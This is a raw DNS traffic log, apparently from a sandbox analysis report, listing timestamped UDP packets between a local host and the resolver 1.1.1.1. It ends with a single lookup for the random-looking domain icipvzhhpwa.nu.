Jan 5, 2025 10:51:50.534796000 CET	53	58520	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.572952986 CET	50833	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.592848063 CET	53	50833	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.641402960 CET	54204	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.650257111 CET	53	54204	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.654428959 CET	50226	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.663810968 CET	53	50226	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.696799994 CET	54863	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.713084936 CET	53	54863	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.717039108 CET	59217	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.733956099 CET	53	59217	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.773578882 CET	55493	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.783865929 CET	53	55493	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.786875010 CET	53889	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.793917894 CET	53	53889	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.820417881 CET	58088	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.835938931 CET	53	58088	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.838373899 CET	60860	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.849512100 CET	53	60860	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.882833004 CET	52138	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:51.154869080 CET	53	52138	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:51.159976959 CET	57293	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:51.931571960 CET	53	57293	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:51.962421894 CET	55269	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.017488956 CET	53	55269	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.021480083 CET	53607	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.064519882 CET	53	53607	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.101896048 CET	54765	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.111011982 CET	53	54765	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.117100954 CET	51029	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.125606060 CET	53	51029	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.163736105 CET	49176	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.192344904 CET	53	49176	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.198772907 CET	65381	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.207293987 CET	53	65381	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.241818905 CET	65330	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.277620077 CET	53	65330	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.280854940 CET	57760	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.312015057 CET	53	57760	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.351396084 CET	59664	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.370587111 CET	53	59664	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.380840063 CET	51022	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.388318062 CET	53	51022	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.391187906 CET	63430	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.398665905 CET	53	63430	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.430896997 CET	62069	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.459075928 CET	53	62069	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.478153944 CET	58682	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.500557899 CET	53	58682	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.538754940 CET	51810	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.546987057 CET	53	51810	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.549031019 CET	58275	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.557537079 CET	53	58275	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.586025000 CET	59882	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.594885111 CET	53	59882	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.596842051 CET	57819	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.605480909 CET	53	57819	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.632294893 CET	52713	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.902060032 CET	53	52713	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.909820080 CET	49348	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:52.941679955 CET	53	49348	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:52.976178885 CET	55011	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.008758068 CET	53	55011	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.011066914 CET	49713	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.059740067 CET	53	49713	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.085820913 CET	57357	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.101226091 CET	53	57357	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.103809118 CET	58204	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.114219904 CET	53	58204	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.148128986 CET	64628	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.159846067 CET	53	64628	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.169323921 CET	49865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.176568031 CET	53	49865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.178750992 CET	57914	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.188772917 CET	53	57914	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.226146936 CET	60874	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.267085075 CET	53	60874	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.271301985 CET	51621	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.293881893 CET	53	51621	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.320269108 CET	51250	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.355676889 CET	53	51250	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.360371113 CET	59544	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.657718897 CET	53	59544	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.696501017 CET	55020	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.728203058 CET	53	55020	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:53.731709957 CET	51804	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:53.987690926 CET	53	51804	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:54.023442030 CET	51737	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:54.303803921 CET	53	51737	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:54.308954954 CET	51774	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:54.683942080 CET	53	51774	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:54.710599899 CET	64374	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:54.803674936 CET	53	64374	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:54.807199001 CET	55184	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.680541039 CET	53	55184	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.711318016 CET	64848	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.720757961 CET	53	64848	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.723335981 CET	57163	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.760910034 CET	53	57163	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.789375067 CET	49771	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.807512045 CET	53	49771	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.810612917 CET	62925	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.837585926 CET	53	62925	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.866756916 CET	64658	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.877616882 CET	53	64658	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.879966974 CET	60293	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:55.897392035 CET	53	60293	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:55.929435968 CET	53253	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.491970062 CET	53	53253	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.494549990 CET	54449	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.530666113 CET	53	54449	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.554203987 CET	51823	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.577404976 CET	53	51823	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.671322107 CET	49808	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.678683043 CET	53	49808	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.687829971 CET	62679	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.694758892 CET	53	62679	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.726448059 CET	62867	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.763187885 CET	53	62867	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.783041954 CET	53888	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.815193892 CET	53	53888	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.851470947 CET	53035	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.862194061 CET	53	53035	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.866573095 CET	51590	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.885349035 CET	53	51590	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.913472891 CET	58526	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:56.954747915 CET	53	58526	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:56.956846952 CET	56918	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.027307034 CET	53	56918	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.054510117 CET	64720	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.095772028 CET	53	64720	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.098328114 CET	56177	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.133096933 CET	53	56177	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.164036036 CET	52098	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.183639050 CET	53	52098	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.192357063 CET	57545	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.201759100 CET	53	57545	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.203902960 CET	54020	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.213037014 CET	53	54020	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.241602898 CET	59391	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.266436100 CET	53	59391	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.268994093 CET	51162	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.372015953 CET	53	51162	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.400310040 CET	62849	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.409394026 CET	53	62849	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.414335966 CET	56256	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.423275948 CET	53	56256	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.467622042 CET	50996	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.486864090 CET	53	50996	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.537276030 CET	52428	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.545777082 CET	53	52428	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.565527916 CET	53247	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.572957039 CET	53	53247	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.601695061 CET	58562	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.705497980 CET	53	58562	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.713624954 CET	58344	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.817708015 CET	53	58344	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.981661081 CET	59299	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:57.990822077 CET	53	59299	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:57.994527102 CET	60504	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.005310059 CET	53	60504	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.046904087 CET	64783	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.073167086 CET	53	64783	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.076324940 CET	51123	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.094041109 CET	53	51123	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.117120981 CET	61800	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.141798019 CET	53	61800	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.144994020 CET	54038	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.267342091 CET	53	54038	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.304339886 CET	51710	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.315725088 CET	53	51710	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.317866087 CET	54661	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.325026989 CET	53	54661	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.351042032 CET	64916	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.448720932 CET	53	64916	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.451375008 CET	55285	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.458945990 CET	53	55285	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.491919994 CET	55807	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.516311884 CET	53	55807	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.518678904 CET	64252	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.638124943 CET	53	64252	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.663714886 CET	64513	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.676549911 CET	53	64513	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.680501938 CET	64585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.700128078 CET	53	64585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.732264996 CET	60221	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.766952038 CET	53	60221	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.769531965 CET	63898	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:58.811671972 CET	53	63898	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:58.835427046 CET	62536	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.107012033 CET	53	62536	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.110150099 CET	52985	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.145602942 CET	53	52985	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.179176092 CET	50954	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.187822104 CET	53	50954	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.196357012 CET	55480	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.205544949 CET	53	55480	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.207425117 CET	52142	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.216366053 CET	53	52142	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.241915941 CET	58666	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.274791956 CET	53	58666	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.277565956 CET	62834	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.284509897 CET	53	62834	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.319716930 CET	62881	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.338479996 CET	53	62881	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.347224951 CET	65223	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.354429960 CET	53	65223	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.356800079 CET	59973	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.365555048 CET	53	59973	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.397815943 CET	65190	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.422120094 CET	53	65190	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.426743984 CET	60296	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.451095104 CET	53	60296	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.476300955 CET	53455	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.559267044 CET	53	53455	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.561170101 CET	60905	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.571769953 CET	53	60905	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.602996111 CET	58212	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.864098072 CET	53	58212	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.874423981 CET	64437	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.883460999 CET	53	64437	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.887012959 CET	60114	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.894404888 CET	53	60114	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.929128885 CET	50928	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:59.967109919 CET	53	50928	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:59.970072031 CET	61232	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.027194023 CET	53	61232	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.054112911 CET	64649	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.072828054 CET	53	64649	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.083024979 CET	65155	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.091656923 CET	53	65155	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.114978075 CET	50277	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.125061035 CET	53	50277	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.148195982 CET	53678	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.172972918 CET	53	53678	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.179035902 CET	49897	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.203737020 CET	53	49897	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.227164030 CET	57367	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.236581087 CET	53	57367	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.241146088 CET	50214	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.249924898 CET	53	50214	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.272910118 CET	57072	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.310313940 CET	53	57072	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.318870068 CET	64041	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.327753067 CET	53	64041	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.335037947 CET	58030	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.344849110 CET	53	58030	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.435364008 CET	58428	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.444087982 CET	53	58428	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.624815941 CET	60921	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.633506060 CET	53	60921	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.677269936 CET	54455	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.695885897 CET	53	54455	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.706228018 CET	55573	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.715032101 CET	53	55573	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.719161987 CET	53355	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.728836060 CET	53	53355	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.757689953 CET	61916	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.846299887 CET	53	61916	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.848969936 CET	58448	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.876401901 CET	53	58448	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.897969961 CET	53613	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.919869900 CET	53	53613	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.931787968 CET	56640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.940475941 CET	53	56640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.942616940 CET	60421	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.949963093 CET	53	60421	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:00.976272106 CET	57043	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:00.997096062 CET	53	57043	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.010983944 CET	58670	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.018695116 CET	53	58670	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.020827055 CET	56577	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.031666040 CET	53	56577	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.055330992 CET	54855	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.228724003 CET	53	54855	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.240546942 CET	60905	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.250096083 CET	53	60905	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.253051043 CET	62449	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.261765003 CET	53	62449	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.289182901 CET	56076	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.298680067 CET	53	56076	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.308315039 CET	58033	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.322900057 CET	53	58033	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.351654053 CET	65477	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.372195959 CET	53	65477	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.410693884 CET	54083	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.417939901 CET	53	54083	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.421314955 CET	60171	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:01.431535006 CET	53	60171	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:01.461158991 CET	58329	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:02.235692978 CET	53	58329	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:02.240642071 CET	58475	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.548228025 CET	58475	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.681224108 CET	53	58475	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.710901976 CET	61177	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.809962034 CET	53	58475	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.822233915 CET	53	61177	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.836380005 CET	61267	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.843265057 CET	53	61267	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.848579884 CET	65274	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.856561899 CET	53	65274	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.886182070 CET	51979	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.894248962 CET	53	51979	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.960983038 CET	63832	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.968261957 CET	53	63832	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:03.969104052 CET	52192	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:03.976135015 CET	53	52192	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.007632017 CET	61603	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.269642115 CET	53	61603	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.286484003 CET	63798	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.552551985 CET	53	63798	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.586042881 CET	50910	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.594619036 CET	53	50910	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.599626064 CET	54762	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.612113953 CET	53	54762	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.648190022 CET	63638	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.670815945 CET	53	63638	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.720402002 CET	53048	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.729878902 CET	53	53048	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.731950998 CET	60637	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.739990950 CET	53	60637	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.773015022 CET	49876	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.832216978 CET	53	49876	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.846402884 CET	63334	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.854921103 CET	53	63334	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.856992006 CET	64865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.865708113 CET	53	64865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.898155928 CET	57789	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.909019947 CET	53	57789	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.919508934 CET	55028	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.929822922 CET	53	55028	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.934478998 CET	53804	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:04.943567038 CET	53	53804	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:04.976368904 CET	55585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:05.251029015 CET	53	55585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:52:05.253910065 CET	60125	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:52:06.201399088 CET	53	60125	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 10:48:02.152153015 CET	192.168.2.4	1.1.1.1	0x2bd7	Standard query (0)	icipvzhhpwa.nu	A (IP address)	IN (0x0001)	false
